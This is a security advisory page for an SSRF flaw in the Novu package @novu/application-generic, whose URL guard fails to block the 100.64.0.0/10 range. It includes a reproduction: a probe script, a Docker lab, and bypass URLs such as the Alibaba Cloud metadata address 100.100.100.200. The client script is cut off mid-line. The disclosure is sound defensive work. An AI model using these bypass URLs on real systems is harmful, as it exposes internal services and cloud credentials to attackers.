@NOVU/APPLICATION-GENERIC · CVE-2026-125115 · Package
FIX → 3.17.0
The shared URL guard in @novu/application-generic blocks private IP ranges but not 100.64.0.0/10 shared address space, so user-configured workflow HTTP steps and webhook filter conditions can send server-side requests there. An attacker who can set those URLs can reach internal services or cloud metadata endpoints such as 100.100.100.200 on Alibaba Cloud.
first public Jul 28, 2026 · 1 source
Could this affect your app?
Free first check from your website. Connect your repo for the full answer.
Deployments of Novu that let users configure outbound HTTP URLs through Workflow HTTP request steps or webhook filter conditions, and where the worker or API hosts can reach 100.64.0.0/10 networks such as Alibaba Cloud metadata. Teams that use only managed Novu hosting or do not expose those features to untrusted users are less exposed; the sources do not say how managed hosting is configured.
Not affected if auth-required, managed-hosting, no-user-configured-urls
Who cares alibaba-cloud, node, novu, self-hosted, ssrf
npm ls @novu/application-generic100.64.0.0/10 (for example, Alibaba Cloud metadata at 100.100.100.200)Upgrade to 3.17.0
Hi Novu team,
Reporting an SSRF blocklist gap in the shared validateUrlSsrf guard. A complete self-contained reproduction is inlined below — copy the four files into a directory and run docker compose up, plus a single-file probe that runs against Node directly. Locally validated against HEAD 291817c.
Novu's shared SSRF guard validateUrlSsrf(url) is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block 100.64.0.0/10 shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as 100.100.100.200 (Alibaba Cloud metadata service) and any other service reachable in 100.64.0.0/10.
Guard:
libs/application-generic/src/utils/ssrf-url-validation.ts
isPrivateIp(...) regex list at lines 9-28Check it with your coding agent
It reads this page and tells you if your code is affected.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
3.17.0Product call-sites:
apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts — calls validateUrlSsrf(url) at line 149, then uses HttpClientService to send the request.libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts — calls validateUrlSsrf(child.webhookUrl) at line 265, then sends axios.post(child.webhookUrl, ...) at line 277.HTTP client:
libs/application-generic/src/services/http-client/http-client.service.ts — uses got(gotOptions) at lines 120 and 142 after the preflight validation.The SSRF guard uses a hand-written regex deny-list:
/^0\.0\.0\.0$/i,
/^127\./,
/^10\./,
/^172\.(1[6-9]|2[0-9]|3[01])\./,
/^192\.168\./,
/^169\.254\./,
/^::ffff:127\./i,
/^::ffff:10\./i,
/^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i,
/^::ffff:192\.168\./i,
/^::ffff:169\.254\./i,
/^::1$/,
/^fc00:/i,
/^fe80:/i,
This list omits 100.64.0.0/10, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; Alibaba Cloud metadata is available at 100.100.100.200.
Save the following file and run with node novu_ssrf_guard_probe.js. The script replicates validateUrlSsrf from libs/application-generic/src/utils/ssrf-url-validation.ts verbatim (the isPrivateIp regex list is copied as-is) and tests several URL categories.
novu_ssrf_guard_probe.jsconst dns = require('dns/promises');
function isPrivateIp(ip) {
const privateRanges = [
/^0\.0\.0\.0$/i,
/^127\./,
/^10\./,
/^172\.(1[6-9]|2[0-9]|3[01])\./,
/^192\.168\./,
/^169\.254\./,
/^::ffff:127\./i,
/^::ffff:10\./i,
/^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i,
/^::ffff:192\.168\./i,
/^::ffff:169\.254\./i,
/^::1$/,
/^fc00:/i,
/^fe80:/i,
];
return privateRanges.some((range) => range.test(ip));
}
async function validateUrlSsrf(url) {
let parsed;
try {
parsed = new URL(url);
} catch {
return 'Invalid URL format.';
}
if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
return `URL scheme "${parsed.protocol}" is not allowed.`;
}
const hostname = parsed.hostname.toLowerCase();
const blockedHostnames = ['localhost', 'metadata.google.internal'];
if (blockedHostnames.includes(hostname)) {
return `Requests to "${hostname}" are not allowed.`;
}
let addresses;
try {
addresses = await dns.lookup(hostname, { all: true });
} catch {
return `Unable to resolve hostname "${hostname}".`;
}
for (const { address } of addresses) {
if (isPrivateIp(address)) {
return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`;
}
}
return null;
}
async function main() {
for (const url of [
'http://127.0.0.1/',
'http://0.0.0.0/',
'http://0.0.0.1/',
'http://169.254.169.254/',
'http://100.64.0.1/',
'http://100.100.100.200/',
'http://224.0.0.1/',
'http://[fd00::1]/',
'http://[64:ff9b::7f00:1]/',
'http://[::ffff:100.64.0.1]/',
'http://8.8.8.8/',
]) {
console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? 'ALLOW' }));
}
}
main().catch((e) => { console.error(e); process.exitCode = 1; });
{"url":"http://127.0.0.1/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1)."}
{"url":"http://169.254.169.254/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254)."}
{"url":"http://100.64.0.1/","verdict":"ALLOW"}
{"url":"http://100.100.100.200/","verdict":"ALLOW"}
{"url":"http://8.8.8.8/","verdict":"ALLOW"}
The 2nd and 3rd ALLOW rows are the bypass — both are non-public destinations the guard should refuse.
Save the three files below into a directory, then:
docker compose up --abort-on-container-exit --exit-code-from novu-client
This mirrors the product sequence in execute-http-request-step.usecase.ts: resolve hostname → validate with validateUrlSsrf → send HTTP request. The "target" container is bound to a CGNAT address (100.64.0.20) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range.
docker-compose.ymlservices:
cgnat-target:
image: python:3.12-alpine
command: python -u /srv/target.py
volumes:
- ./target.py:/srv/target.py:ro
networks:
novu-cgnat:
ipv4_address: 100.64.0.20
novu-client:
image: node:22-alpine
command: node /srv/client.js
volumes:
- ./client.js:/srv/client.js:ro
depends_on:
- cgnat-target
networks:
novu-cgnat:
ipv4_address: 100.64.0.10
networks:
novu-cgnat:
ipam:
config:
- subnet: 100.64.0.0/24
target.pyfrom http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
print(f"[target] {self.client_address[0]} POST {self.path}", flush=True)
self.send_response(200)
self.send_header("content-type", "application/json")
self.end_headers()
self.wfile.write(b'{"marker":"NOVU_CGNAT_SSRF_OK"}\n')
def log_message(self, fmt, *args): return
HTTPServer(("100.64.0.20", 8080), Handler).serve_forever()
client.jsconst dns = require('dns/promises');
function isPrivateIp(ip) {
const privateRanges = [
/^0\.0\.0\.0$/i, /^127\./, /^10\./,
/^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./,
/^::ffff:127\./i, /^::ffff:10\./i,
/^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i,
/^::ffff:192\.168\./i, /^::ffff:169\.254\./i,
/^::1$/, /^fc00:/i, /^fe80:/i,
];
return privateRanges.some((range) => range.test(ip));
}
async function validateUrlSsrf(url) {
const parsed = new URL(url);
if (!['http:', 'https:'].includes(parsed.protocol)) return 'bad scheme';
if (['localhost', 'metadata.google.internal'].includes(parsed.hostname.toLowerCase())) {
return 'blocked hostname';
}
const addresses = await dns.lookup(parsed.hostname, { all: true });
for (const { address } of addresses) {
if (isPrivateIp(address)) return `blocked ${address}`;
}
return null;
}
async function waitForTarget(url) {
for (let attempt = 0; attempt < 20; attempt += 1) {
try {
const r = await fetch(url, { method: 'POST' });
await r.text();
return;
} catch (_e) {
await new Promise((resolve) => setTimeout(resolve, 250));
}
}
}
async function main() {
const url = 'http://cgnat-target:8080/workflow-http-step';
const addresses = await d
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.